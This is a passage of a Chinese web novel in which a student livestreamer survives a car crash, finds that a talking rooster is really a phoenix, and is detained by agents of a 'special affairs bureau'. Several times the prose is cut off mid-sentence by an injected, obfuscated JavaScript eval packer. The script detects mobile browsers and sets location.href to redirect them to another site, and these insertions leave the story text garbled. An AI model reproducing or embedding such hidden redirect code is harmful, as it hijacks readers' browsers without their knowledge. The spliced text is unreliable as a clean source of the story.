安随:“记得,我的头没事,我刚才在车上睡着了,醒来的时候车子已经掉下去了,我是从下面爬上来的。” 安随话音刚落,旁边的几人顿时看向她,似乎没有理解她的意思。 安随只得再次说道:“下面并不高,我从车窗里爬了出来,一路爬到上面点燃了求救信号。”说到这里,安随顿了顿,指了指那堆已经被打熄的火堆,“我不会被罚吧?” 过了会儿才有人回答她:“当然不会,你做得很棒,但是为什么不直接打电话求救呢?” 安随望向说话的人,是个穿着很板正的青年,她猜应该是这里的干部,听他说不会被罚,暗暗松了口气,然后老老实实地拿出自己的手机展示在众人面前:“我的手机没信号。” “那司机的呢?”那人追问道,想了想又补充,“我是镇上的干部,这个事情很严重,所以我得问清楚情况。” “他的手机找不到了。”安随只得说道。 那人这才没再追问。 此时另外一名警察继续问安随:“记得发生车祸的时间吗?” 安随想了想:“大概半个多小时了吧。” “你和司机什么关系?你为什么会坐这个车?” 安随:“我不认识他,他是李家村的人找来送我回城里的。” 一旁的镇干部马上打电话联系李家村的人,却被告知无法接通,于是又换了电话打过去,依然无法接通。 不过这段山路信号本来就差,打不通就多打几次。 而民警继续追问:“李家村?他们为什么送你?” 安随:“大概是因为我在这直播?” “你是主播?” “算是吧,不过我主业是学生。” “哪个大学的?” “c大。” 一听c大,几人又看向安随。 民警没再追问了,从安随目前的回答来看,他暂时还没发现什么疑点,唯一的疑点大概就是安随表现得太冷静了,不像一个还未出社会的大学生。 但这并不能证明安随说谎,只要等到李家村的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李凤宁:“白泽,你没事吧?”她一说完,这才看到安随满脸的血,连忙问道,“脸受伤了吗?严不严重啊?”实际心里怕得要死,毕竟主播的脸还是很重要的,要是毁了容,那把她骗过来的李凤宁岂不是成了罪人? 安随闻言,擦了擦脸,这才看到衣袖也被血迹染红了,想了想应该是刚才去查看司机伤势的时候不小心沾上的,连忙说道:“我没事,司机伤得比较重,已经被送去医院了。” “怎么就出车祸了呢?这条路李家明都走了好多回了,闭着眼睛都不会出事。”李世全拍了拍大腿,一脸的懊恼。 安随没说话,毕竟她刚才睡着了,也不知道发生了什么。 李世全一脸歉疚:“白同学对不起哈,人是我给你找的,我也没想到会出这种事。” 安随摆了摆手,示意他别放在心里,毕竟这种事谁也不会料到。 先前的几人见李家村的人赶来,于是和几人了解情况,在得知安随确实是来李家村直播的,心里已经打消了疑虑。 民警让安随出示证件,安随掏出身份证给他,他们这才得知安随的真名,白泽只是她的网名。 现场勘察的警察也来汇报情况:“从目前的情况来看,路面正常,司机驾驶证能正常使用,车子在保险期内,检查了车子也没有异常。” 这才是疑点,所有的都正常,司机又是在这条路上开了几十年车的老司机,却偏偏出了车祸。 “司机有酒驾、毒驾或者疲劳驾驶的可能吗?” “根据行车记录仪的数据,车辆刚行驶不到半个小时,不存在疲劳驾驶的可能。至于酒驾和毒驾,得通过血液检测才能判断。” “好,那请通知医院尽快检测。” 李世全一听,连忙说道:“家明我了解,老实人一个,平常要带人或带东西都请他帮忙,我和他认识几十年了,他绝不可能酒驾毒驾的。” “李主任你别急,这只是正常的程序,我们需要排除所有的可能再来判断其他。” 其他人也跟着劝,李世全才冷静下来。 现在,他们只能等待检测结果出来。 20. 第 20 章 折腾了半天,大伙也累了,安随身上的伤虽然经过包扎,但还是要休养一番,众人便决定先回镇上,因为太晚了,拖车也得明天才能过来,今晚只能让车子在山下待着。 安随跟着他们上了去镇上的车,临走时还把那只公鸡给抱上了,那只公鸡任凭安随抱着,一动不动,看着十分乖巧。 李凤宁看了都觉得神奇:“看来它和你有缘啊,这都没跑。” 安随顺了顺毛,只觉得柔软异常,不像普通的鸡。 “这是什么品种?”安随问。 李凤宁不确定道:“应该就是一只普通的公鸡,不像什么名贵品种,周大孃也没说。” 安随没再说话。 安随透过车窗看向窗外,树木一排排地从身后闪过,安随却觉得有什么东西在树上闪过,她打开窗户往后看,却什么也没看到。 李凤宁问她看什么,她说了自己看到的,李凤宁却不觉得有什么:“大概是松鼠吧,山里树多,其他生物也多,有松鼠很正常。” 但安随觉得不像,因为,她感觉到了一丝危险。 自从和白泽结契后,她对妖怪的感知也更强烈了,那不明生物绝不会是一只普通的松鼠。 但安随并没有表露出来,说出来只会引起恐慌。 甚至,安随有个大胆的猜测,这次车祸也和那东西有关。 安随一路装着心事到了镇上,镇干部给她找了个旅馆让她先住着,并让她先请了天假,在司机醒来之前,她不能离开。 安随表示理解,一离开那个区域,安随的手机便恢复了信号,便和辅导员打了个电话请假,随即又给宋知冉打电话说了一下。 宋知冉听到她出了车祸,十分担心:“我下午看你直播还好好的,怎么晚上就出车祸了?你哪里受伤了?去医院了吗?” 安随连忙安抚道:“我没事,就是擦破了点皮,过两天就好了。” 宋知冉叹了声气,她想说点什么让安随小心的话,最后还是什么也没说。 她知道,安随的身份会让她遇到各种危险的事情,但是她就是不想让安随处于危险中,她想告诉她,退出吧,做一个普普通通的大学生就好了。 但她知道,安随不会安于现状,她有她自己的路要走,作为室友的她,只能默默支持。 两人寒暄之际,蒋栗也回来了,和安随聊了会儿便挂了电话。 安随和李凤宁住的同一间房,见安随打完电话,她这才好奇地凑了过来,和安随有一搭没一搭地聊着。 “原来你叫安随,是c大的学生啊。”李凤宁双手托腮,目光炯炯地看着安随。 “嘘,替我保密。”安随轻声交待,“我不想在网上暴露自己的身份。” “嗯嗯!”李凤宁猛然点头,“我绝不会说的,这个秘密只有我知道最好了。” 安随:“今天晚上他们应该也知道我的身份了。” 李凤宁:“他们又不喜欢上网,我会和李叔他们说,不让他们在网上乱说的。” “那样最好了。”安随倒没指望这个事能瞒一辈子,但能瞒多久就多久吧。 两人又天南地北地聊了会儿天,大多是李凤宁说,安随听。 安随不擅长聊天,但她是一个合格的倾听者,听李凤宁讲述自己在网上想通过直播卖家乡的柚子,但效果甚微。 李凤宁甚至还向安随取经,问她是怎么把流量做起来的。 安随没办法回答这个问题,因为这本身就是个玄学。 李凤宁也就随便问问,也没指望安随能说点什么。能被安随选中,已经是她莫大的荣幸了。 夜色已深,两人洗漱完后便熄灯睡觉。 半夜,一直窝在门口的公鸡却突然睁开了眼,只见它豆子般大小的眼睛四处看了看,最后迈着两只小短腿靠近床,随后跳上了安随的床,找了个舒服的位置,窝在安随旁边又睡了下去。 半夜,安随总觉得有什么东西压着她,搞得她做了一堆乱七八糟的梦。安随被一个噩梦吓醒了,睁开眼便看到有个东西压着自己的被子,仔细看发现竟然是那只公鸡。 一瞬间安随心里只有一个念头,这公鸡没洗澡就爬上了她的床。 安随把它拧了起来,正在睡梦中的公鸡察觉到被人扼住了喉咙,睁开眼便看到安随拧着自己就要往下扔,连忙求饶:“大王饶命!” 得,又是一只来找它大王的妖怪。 安随已经接受了自己身边出现的动物随时都有可能是妖的事实,她认命地下了床,怕吵着李凤宁,便拧着鸡妖去厕所,关上厕所门,这才把鸡妖放下来。 “说吧,你又是从哪里冒出来的?” 鸡妖没了束缚,在原地活动了下翅膀,便开始滔滔不绝起来:“我是跟着大部队逃出来的,结果和大部队走散了,我飞到这片山林里,却迷路了,被一个人类捡了回去,和那群没有思想的低等动物关在一起,问题是,我明明是有思想的,却不得不装成和他们是同类,大王你知道我心里有多苦吗?好不容易感受到你的气息,刚好那人类要捉一只低等动物送你,我便自告奋勇了,大王我聪明吧。在里面我都不敢说话,结果就感觉到那个大东西开始翻滚,把我昨天吃的粮食都吐了出来,好在我福大命大一点事都没有,咯咯咯,我就是最厉害的!大王大王,我是不是第一个找到你的!” 安随有点后悔让它开口说话了。 实在是话太多了,根本就没有让她插嘴的余地。 看到它一副求表扬的样子,安随无情地打碎了它的幻想:“不,你不是。” “哪个贱妖居然比我手脚还快!快说出它的名字,我要和它决斗!”鸡妖在厕所里蹲着步,尾巴上的毛已经翘了起来,已然摆出战斗的姿态。 安随顺了顺它的毛:“乖,别闹。” 鸡妖被她安抚,心里顿时就熨帖了。 它收起尾巴,又窝在安随身边,任凭她顺毛,还十分享受地蹭了蹭。 “真舒服。” 顺了会儿毛,安随便又问起之之前察觉的异样:“你知道这里还有其他妖怪的存在吗?今天这起车祸,你感受到有妖怪参与吗?” 鸡妖享受着安随的安抚,懒洋洋地说道:“那次逃亡,我们有很多妖,我不确定有没有妖和我一样落到那片林子里,今天这起事故我也不确定有没有其他妖怪的参与。” 安随停下了手上的动作。 说了等于没说。 鸡妖见她停了下来,跳起来努力去够安随的手:“大王我还要!” 安随拍了拍它,随后起身准备离开厕所。 “大王我要!”鸡妖在厕所里尖叫,甚至开始打鸣。 “闭嘴!”安随忍无可忍,厕所门关上,任凭鸡妖在厕所里鸣叫也无动于衷。 小镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699317|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的旅馆隔音并不好,安随出了厕所还能听到鸡妖的尖叫声,安随随即打开厕所门,小声警告:“老实在这待着,要是再叫我就把你扔了。” 这句话杀伤力十足,一听安随要把它扔了,鸡妖立马安静下来,缩在马桶旁边,像个鹌鹑。 安随这才满意地关上了厕所门。 总算能睡个好觉了。 清晨,李凤宁是被公鸡的打鸣声叫醒的,此刻,安随已经站在窗前活动身体,她不得不佩服安随的自律,起身以后,还找了个话题和安随聊:“你的这只鸡还真敬业,那么早就开始打鸣了。” 安随早早被鸡妖吵醒,还有起床气,李凤宁的话也不知道怎么接,便没有说话。 李凤宁大概了解安随的性格,也没在意,便去了厕所准备洗漱,一进去便被里面的模样吓了一跳,只见这只公鸡缩在马桶边,旁边便是好几滩鸡屎,一股子臭味冲进鼻子,臭得她连忙捂住了鼻子。 安随赶过来看到里面的状况,拿着扫帚开始扫鸡屎,还不忘解释道:“昨晚我就怕它早上打鸣吵着你,所以把它关到厕所里。” 安随扫到鸡妖旁边,示意它挪挪位置,鸡妖委屈巴巴地往里挪了挪,一脸哀怨地看着安随。 安随无视它的目光,将鸡屎清扫干净,又拿水冲了冲,直到味道没那么重了,又把鸡妖拧到淋浴底下,拿热水给它洗澡。 可怜的鸡妖此刻真成了落汤鸡,一身威风凛凛的毛如今软塌塌地贴在皮肉上,丝毫看不出往日的风光。 “好好洗一洗,身上臭死了。”安随在那自说自话,实际上是说给鸡妖听的。 鸡妖任凭她给它洗澡,还给它毛上抹了沐浴露,等洗完以后,连它自己也能闻到身上香喷喷的。 呜呜呜,大王对它真好,还亲自给它洗澡! 给鸡妖洗完澡后,安随便把它拧了出来,将厕所让给李凤宁。 安随拿出吹风机给鸡妖吹毛发,省得它甩得哪都是水。 鸡妖却被感动得心里都在冒泡。 大王对它太好了!它在大王心里一定是特别的那一个! 吹完毛发后,安随这才和鸡妖说道:“洗干净了不能弄脏,再弄脏你自己洗。” “不要,我就要大王给我洗。”鸡妖靠在安随腿上撒娇,被安随一脚踢开了。 “老实点。”安随受不了它撒娇的样子。 实在是一只公鸡在你面前撒娇,各种矫揉造作,那个画面,简直不忍直视。 鸡妖顿时老实如鹌鹑。 李凤宁洗漱完后,看到鸡妖在安随面前老老实实的,啧啧称奇。安随去洗漱时,她便忍不住去逗弄鸡妖,哪知道这只公鸡还认主,李凤宁一靠近,它便起身站直了身子,双翅展开,已然做出攻击的姿势。 李凤宁见状,也不敢招惹它,总觉她再靠近它就能啄她一口。 安随洗漱完后,两人便一起出了旅馆,李凤宁说带她去吃下这里的特色早餐。 今天赶场,早上的卫国镇很热闹,安随体验了一顿这里的米线,又去早市逛了一圈,十点多的时候,李凤宁接到李世全的电话,说李家明醒了,让两人去医院一趟。 来接两人的汽车很快赶来,因为是在区医院,两人得坐车到区里,不过离得也不远,开车十几分钟就到了。 两人到医院的时候,已经有民警在里面,见两人到了,便示意两人进去。 21. 第 21 章 此时,李家明正靠坐在床头,头上包着纱布,隐隐有血丝浸出。 见安随进来,他一脸歉疚,但他向来不善言谈,也不知道怎么和安随说,看了她一眼便又低下头。 民警问他:“你还记得当时发生什么了吗?” 李家明摇头:“记不清。” “你好好想想,虽然你的血液检测出来没有问题,但为了排查车祸原因,当时车祸的时候发生了什么就很重要。” 李家明车祸碰着了头,一开始回忆便抱着头喊疼,民警见状,只能放弃。 几人出了病房,让李家明好好休息。 安随见问不出什么,有些犹豫要不要提醒他们这附近有可能有妖的事情,但是这种事本就很玄学,说出来恐怕会被人说胡言乱语,何况她自己也没有把握,只是在那胡乱猜测。 这个时候她便开始无比想念白泽,有他在,他怎么也能分清有没有妖怪在那附近。 只可惜白泽还在沉睡,无论她怎么呼唤都没有回音。 安随只请了一天假,见李家明这问不出结果,便有些着急想回,民警便告诉她回去电话保持畅通,随时都有可能给她打电话了解情况。身上还有些伤,让医生看了以后,让她回去按时换药,不要沾水。 安随一一应了。 李凤宁说给她找个车送她回去,安随拒绝了,主要是下午还有直达锦城的大巴车,她坐大巴一样。临走时,安随还是提醒了下李凤宁:“最近你们都提高点警惕,看有没有异常。” 李凤宁不明白她什么意思,只以为她是在关心李家村的村民,十分感动。把安随送上车后,一直目送车子消失在街口才回了李家村。 一人一鸡踏上了回城的旅途。 大巴车要坐两个小时,回到学校刚好可以赶上晚饭。安随并没有拿那些柚子,一是那些柚子还在事故车里生死不知,二是她回去还有很远的路,带回去要费不少功夫,索性便不拿了,只是心疼她买柚子的钱。 李凤宁说回去就给她重新邮寄,安随本来说要给钱的,李凤宁却连连摆手,说她帮李家村卖了那么多柚子,这点柚子根本不算什么,安随便随她去了。 于是回去的路上,安随只带了一只鸡。 乡村大巴带什么上车的都有,车上充斥着各种奇怪的味道,安随坐在靠窗的位置,把窗户打开才好点。 由于牲畜不能带到位置上,她便把公鸡放在大巴车前面堆放东西的地方,让它窝在她能看到的地方,时不时看上两眼,确保它还在。 车辆行了半个小时,宋知冉打电话问她几点能到,她们好去车站接她,安随大概算了下时间,下午五点就能到。 两人又寒暄了会儿,打完电话,安随再次看了眼公鸡所在的位置,这一看,却惊得从座位上起来。 鸡妖不见了! 就在她眼皮子底下! 打电话的时候她看到它还老实地窝在那里的,只几分钟的时间,怎么就不见了? 安随不信邪地走过去看了看,又在附近找了找,确定它并没有躲到哪个地方去。 她便问坐在旁边的大叔,大叔却说刚才有人下车的时候见到他带下去了,还以为是他的。 安随问他:“哪一站?” “就上一站,莲花镇。” “莲花镇有到锦城的大巴吗?” 大叔回答道:“有吧,现在每个镇都通了到市里的大巴,只不过班次少,你问问售票员嘛。” 安随连忙问一旁的售票员,好在售票员对这一带的大巴车次时间都比较熟悉,莲花镇到锦城的大巴车要晚一个小时。安随想着一个小时应该够了,便示意司机停车,只几分钟的时间,车子并没有走好远,想来那人也在附近。 虽然安随嫌弃鸡妖聒噪,但它是白泽的追随者,它又把她当成白泽,她怎么也要把它带回去。 安随下车后便一路往回走,走到站牌那里也没有碰见一个人,但她却看到了鸡妖给她留下的信号,鸡毛。 没错,鸡妖边走边拔自己的毛,只为了给安随留下找到自己的信号。 安随都能想象自己见到一只秃鸡的画面,会有多么不忍直视。 安随沿着鸡妖留下的信号走进了一条小路,到了一处人家时,鸡毛消失了。 安随在外观察了会儿,见里面有人影晃动,还不止一个,便没有轻举妄动,而是打开了直播。 昨天才看到直播的网友没想到安随那么快就开播了,都非常惊喜,一大波礼物奉上后,便不停地刷屏。 “主播总算做个人了!居然那么快就直播了!” “啊啊啊啊我的女神开播了!好惊喜!女神我爱你!” “姐姐姐姐姐姐,我要做姐姐的腿部挂件,走哪跟到哪!” “乖,下次开播前能通个气吗?你这个直播时间也太阳间了吧,好多学生都还在上课。” “今天怎么突然直播了,这个时间点你不是应该在学校上课吗?” “对哦,主播不是从李家村回学校了吗?看这个背景还在野外,你还没回学校吗?” 网友从最开始的惊喜变成了疑问,安随略过那些表白的评论,挑了一些来回答:“今天带你们来这里找鸡。” 沉默。 他们看的这是什么乡村主播吗?还让他们看她抓鸡?这风格转变也太快了吧! “主播你是不是忘了你是个学习主播?” 安随自然没忘,但劳逸结合嘛,正常。 安随:“今天是乡村主题,我们学习久了看看这里的自然风光,给自己换个脑子也挺好。” 网友们默默看着安随一本正经地胡说八道,还不能反驳,毕竟能让安随开播太不容易了,她播啥就看啥。 网友们接受了这个事实,安随这才将手机揣在兜里让他们听个声。 随后安随敲响了院门。 “抱歉,打扰一下,我有只鸡走丢了,你们有见过吗?” 里面的人听到动静走了出来,安随一看那人的长相,便觉得他与这里格格不入。 一米八几的个子,肩宽窄腰,穿着一身黑色劲装,脚上是双黑色皮靴,看着便不像住在这里的人。 “那只鸡是你的?”那人开口问安随,他的声音低沉,语气里带着气势。 安随却并没有被他威慑住,点了点头,不卑不亢道:“是的,它是我带上的车,但就在刚刚不见了,它现在是在你这里吗?如果是的话,请将它归还给我。” 男人看了伸出的手一眼,那是一只正常的女孩的手,并没有发现任何异常。 他收回目光,淡然道:“多少钱?我买了。” “抱歉,我并没有打算卖。” “如果我非要买呢?”男人声音隐隐透着一丝威胁。 安随都快被气笑了,怎么还有强买强卖的? 如果是一般人遇到这种硬茬,多一事不如少一事,何况在这荒郊野岭的,又没有一个帮手,对方明显不止一个人,能卖就卖,早点离开为好。 可惜安随不是一般人,她能听出来里面还有五六个人的声音,加上这个男人,她肯定不是他们的对手。 但安随做不到把鸡妖一个人扔在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699318|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这,这群人凶神恶煞,把它扔在这简直是羊入虎口。 只见安随掏出手机:“喂你好,我举报这里有人偷了我的鸡……” 还未说完,手机便被人夺走,安随见到对方抢了自己的手机,也不急,而是慢悠悠道:“怕了?” “你不怕?”男人挑眉,似乎没见到安随胆子那么大,居然直接报警,她都不怕自己在警察来之前就被他们处理掉了吗? “抱歉啊,我刚才在直播,并没有报警,但你的一举一动已经被十万观众看到了。”安随笑眯眯地看着他,成功看到他变了脸色。 男人拿起手机一看,正好对着直播屏幕,直播间还在不停刷屏,说截屏了,已经记住他的脸,并且已经有人报了警。 男人将手机扔回给安随,脸色阴晴不定,一时没有说话,似乎在思考该怎么处理安随。 安随叹了声气:“我也没那么傻,你们人多势众,我怎么可能单枪匹马就闯进来?但为了要回我的鸡,我只能出此下策了。直播间十万网友都看着呢,这会儿警察应该已经在来的路上了,所以你还不打算归还我的鸡吗?” “它不是一只普通的鸡。”男人说道。 弹幕一听都在哈哈哈,鸡不是普通的鸡,难道还能变凤凰?这人为了占有白泽的鸡,也太不要脸了吧? 安随一听却收敛了笑容。 她自然知道这不是一只普通的鸡,但他为什么会知道?而且还想方设法地要把它带走? 安随觉得接下来的内容并不适合直播间的人听,但为了保护自己,她不能离开直播间,于是开始和他周旋。 安随:“它是我的伙伴,自然不是一只普通的鸡。” “我并不是这个意思,它待在你身边对你并没有好处,最好的处理方式就是把它卖给我。” “如果你真想买它,为什么在车上不买,非要我追到你家了你才说买的事?”安随并不惧他,她本就有理在先,加上有十万观众撑腰,自然底气十足。 男人一时语塞,方才他察觉到这只鸡的异常,为了整车人的安全,他便悄声把它带回来准备处理,却忘了和它的主人说了。 这确实是他的失误。 男人自知理亏,歉声道:“抱歉,是我考虑不周,但请相信我,它留在你身边对你并没有好处。” 安随不想和他多掰扯,便道:“我的事不用你管,你只要把它还我就行。” 男人见安随油盐不进,便也没了多少耐心,夺过安随的手机几下就把直播间退了,随后从兜里掏出一张证件出示在安随面前:“特事局办案,请勿妨碍公务。” 特事局?这又是什么? 安随听都没听过,但看对方的操作还挺正规,不像是演的,证件也盖了章,上面写着“华国特殊事务处理局”,看着确实像那么回事。 但她哪里妨碍公务了?她只想要回她的鸡而已。 安随觉得自己和他讲理讲不通,但继续纠缠下去也不会有结果,安随便说道:“这样吧,你和我说说我的这只鸡和你办的案到底有什么关系,我再考虑要不要把它给你。” 男人沉默了下,随后拒绝了:“这是秘密,你不需要知道。” 安随:“……” 心累,不想说话。 和他沟通起来太难了。 安随见对方不肯归还,又不说具体用处,叹了口气。 过了会儿,她才缓过来:“你换个人来和我说,我不想听你说话。” 男人想了想便进了屋。 过了会儿,一个穿着灰色风衣的男人走了出来。 22. 第 22 章 男人带着一副金边眼镜,看着很年轻,笑起来的时候还有两个浅浅的酒窝,一头栗色的卷发,一只手提着鸡妖的翅膀,另外一只手插在兜里,露在外面的手骨节分明,隐隐能看到上面的青筋。 男人走到安随面前,笑眯眯地打招呼:“小妹妹你好啊。” 安随对长得好看又有亲和力的人没有抵抗力,态度也比先前好了点,回应道:“你好啊。” “我叫风眠,你呢?” 安随却不愿意透露自己的信息,而是切入正题:“你们抓了我的鸡是要干什么?” “这是你的鸡吗?”风眠将鸡拧在安随面前,只见鸡妖耸拉着脑袋,看着像是死了。 安随摸了摸它的脖颈,热乎乎的,还能看到起伏。她点了点头:“是的。” “你别担心,它没事,我们也不会吃它。谭岳和你说了吧,我们是特事局的人,特事局是专门处理特殊事件的部门,只要不是正常人能做到的事情,都归我们管。”风眠指了指鸡妖,“它就是我们此行来的目的。” “它做了什么?”安随问。 “昨晚发生在李家村的车祸你听说了吗?我们怀疑它并不是人为,而是被一种神秘力量操控了。” 安随没想到他会突然提到昨晚的事,并且那么快就确定这场车祸不是人为。但她面上不显,而是故作惊讶道:“还有这种事?我以为那就是一场普通车祸。” “昨晚我们检测到那里有能量波动,很符合神秘力量标准,因此一大早就赶了过来,又察觉到那辆公交车有能量波动,这才让人上去把它带了下来,以确保整车人的安全。” 安随指了指他手里的鸡:“你们说的能量波动,不会就是来自它吧。” 风眠点了点头:“对,它的身上有异常能量波动,我们严重怀疑它就是昨晚那场车祸的罪魁祸首。” “你们应该是找错了,它不是你们要找的对象。”安随解释道。 “你为什么那么确定?这只鸡你是从哪来得到的?”风眠问道。 “别人送的。你看它那么蠢,也不像会干坏事的样子啊。” “鸡不可貌相嘛,我们是通过专业检测才确定能量波动来自它。” 安随有些好奇:“你们是通过什么检测出来的啊?” 风眠闻言便又去屋里拿了个检测仪出来,随后在鸡身上扫了一下,伴随着一长串的“滴”声。风眠又在自己身上检测了下,检测仪没有任何动静。 “这个检测仪是我们局里的同事发明的,能检测到异常能量波动,普通人不会有任何反应。”说着,他又拿检测仪在安随身上扫了一下,“你看,你也没有……” “滴————”伴随着一长串的滴声,检测仪发出刺耳的声响,即便风眠将它拿开,也没有停下来,屋内的人听到动静,连忙跑了出来,站在风眠面前排成一排,每个人手上都拿着一个武器,有匕首有利爪,甚至,还有枪。 他们每个人严阵以待,将武器都对准了安随,神情十分严肃。 安随吞了吞口水,下意识地举起手来。 妈呀,这个时候不投降等着被打成筛子啊? “那个,这一定是个误会,我就是个平平无奇的大学生而已。”安随干笑了两声,试图缓解紧张的气氛。 风眠有些不信邪地在其他人身上都测了一下,没有一个人有反应,他又在安随身上测了一下,检测仪发出刺耳的尖叫声,随后冒出青烟,直接报废了。 风眠:“……” 安随:“……” 这下更解释不清了。 “你确定你这个东西质量过关吗?不会买到假冒伪劣产品吧?”安随试图给自己找补。 拿着利爪的瘦小男人冷冷地开口:“那是我发明的,你在质疑我的专业水准?” 安随开始胡扯:“你怎么确定你发明的这个东西一定能检测到异常能量波动?你有什么依据?你们是特事局的人一定都很特殊,说不定它只是对你们没反应,对其他普通人都有反应呢。” “我们测试过很多人,对其他正常人不会有反应,也曾抓到过几只带有能量波动的动物,检测仪对他们都会有反应。”风眠解释道。 瘦小男人不耐烦道:“和她说那么多做什么?直接把她带回特事局找博士研究一下不就知道了?” 安随都快被气笑了:“你的意思是想抓我回去做实验?这是犯法的,我一告一个准。” “非人类只能用非人手段处理,你去告也没用。” 被开除人籍的安随若不是看在对方人多势众还有武器,都想上去干一架。但理智告诉她不能这么做。 安随脑子转得飞快,开始想着脱身的办法。 眼见着他们便要把她五花大绑,风眠还在旁边说“轻点,她细皮嫩肉的”之类的话,安随灵光一闪,连忙道:“你们听我说。昨晚的车祸我是唯一的乘客,车子掉下山崖,司机生死未卜,是我从山下爬上去发出的求救信号,才等来了救援人员,如果我真的有不轨之心,我就不会救司机了。” 风眠闻言看了她一眼,似乎在思考她说话的可信度。另外一个高个男人已经拿出手机拨打了当地派出所的电话,得知昨晚的车祸确实是安随救的司机以后,便将自己知道的告诉了众人。 众人闻言,都沉默了一会儿,望着瘦小男人的眼里充满了怀疑。 瘦小男人名叫陈默,见众人都那么望着他,顿时不乐意了:“你们居然怀疑我的能力?既然这么点信任都没有,那我不干了。”说完一把扯下带有特殊标志的袖标甩在地上,利爪一扔就要走,风眠见状连忙去劝。 安随都看傻眼了,这确定不是一个草台班子吗?也太随意了吧! 谭岳轻咳一声:“抱歉,你能说说昨晚救人的过程吗?我们此次来的目的便是调查昨晚的车祸原因。” 安随见总算有人正常听她说话了,这才把昨晚的经过和他们说了一遍,包括她在车上察觉到的异样,那里应该还有异常能量,他们最好回去看一下。 “你和我们一起回去一趟吧。”谭岳道。 “我还要回去上课,恐怕不能陪你们一起去了。”安随故作遗憾,实际心里巴不得早点离开这里,不和他们有任何瓜葛,她可不想卷入这趟浑水中。 “你是当事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晚上的时候,女主人做了一桌子丰盛的菜肴,有当地的特色腊肉腊肠,也有鸡鸭鱼肉,还有时令蔬菜,几个大男人狼吞虎咽,根本没有嘴空出来说话。安随见状,还以为是从哪逃出来的难民。 她吃饭就要斯文多了,毕竟是女生,加上这些菜她在学校食堂也经常吃,只是味道更加有农家味而已。 吃完饭后,女主人给安随安排了二楼的房间,几个大男人两人一间,住在一楼。 天色还早,安随带着她的鸡出去溜达。 鸡妖早早就醒了,但碍于那四个男人在,它一直在装晕,直到和安随单独相处才缓了过来。风随已经将鸡妖归还给安随,主要是安随一直坚持,如果不还给她,她就不和他们一起去李家村,风眠见她也没有什么威胁,便答应了。 鸡妖一脱离了掌控,便开始放飞自我,在小路上扑腾了几下翅膀,见确实飞不起来,这才彻底放弃。 “唉,怎么就飞不起来了呢?”鸡妖叹气。 安随忍不住戳它心窝子:“普通鸡都会飞,你不是鸡中的战斗机吗?怎么还不会飞呢?” “我在妖界可是飞得最远的那一个,一定是这里的水土不适合我飞行。”鸡妖给自己找补。 “还有,我可不是鸡妖。” 23. 第 23 章 “那你是什么?”安随有些好奇,它怎么看怎么都是一只公鸡啊,难道妖界的鸡不叫鸡?而叫其他的名字? “悄悄和你说。”鸡妖压低声音,“我是一只凤凰。” 安随上下打量了它一圈,有些不信:“虽然我没见过凤凰,但我猜凤凰并不长你这个样子。” 小凤凰挺了挺胸:“这是我为了融入那群鸡,才变成这个样子的,我的真实样子比这好看多了。” “那你能变回去吗?”安随有些期待,毕竟凤凰这种生物只出现在传说里,她还没见过真实的呢。 小凤凰挺起的胸又缩了回去:“能变,但我怕被人类宰了。” “怎么会?你变成鸡才容易被宰吧?”安随试图劝说它,小凤凰却不为所动,“你觉得是一只凤凰突出还是一群鸡突出啊?我变成一只鸡,不会有人觉得我突出,不会看到我,我要是变成凤凰,肯定有很多人想要得到我,毕竟我只出现在人类的传说里。” “你还挺了解人类嘛。” “毕竟在妖界,没少听人类的故事,人心险恶,不得不防。” “我也是人,你怎么不怕我?”安随问它。 “你不是我的大王吗?你只是披着人类的皮而已,和其他人类不一样。”小凤凰坚持自己的想法。 安随有些心虚,不敢告诉它它的大王只是寄住在自己身体里,实际上的她就是一个普通人类而已。 “对了,你为什么飞不起来啊?”安随开始转移话题。 “应该是被变身束缚了,这里的鸡都飞不高飞不远。”小凤凰想到这个心里也很失落,它很渴望飞翔的感觉,甚至还想带安随飞,但为了自己的安全,只能伪装自己。 “等我变回凤凰,我带你去天上转一转。”小凤凰兴致勃勃。 恐高的安随干笑一声:“我太重了,怕把你的翅膀压断了。” “我能驮起千斤重的东西,你这点重量不算什么。” “那以后再说吧。”安随敷衍过去,生怕它下一秒就变凤凰带她飞。 一人一凤在外面转了好一会,不一会儿谭岳出来找她,见她在那里,松了口气:“天色晚了,回去休息吧。” “我再待会儿。” “好,那你待,别太晚了。”谭岳说完转身就走,把安随都看愣了。 他出来就是让她早点休息吗? 安随并不会自恋地觉得对方是单纯地关心她,这是怕她跑了吧? 安随既然答应跟他们一起回到现场,便不会中途变卦,只是又得和老师请假了。 安随给辅导员打电话说的时候都有点紧张,生怕被拒绝了。 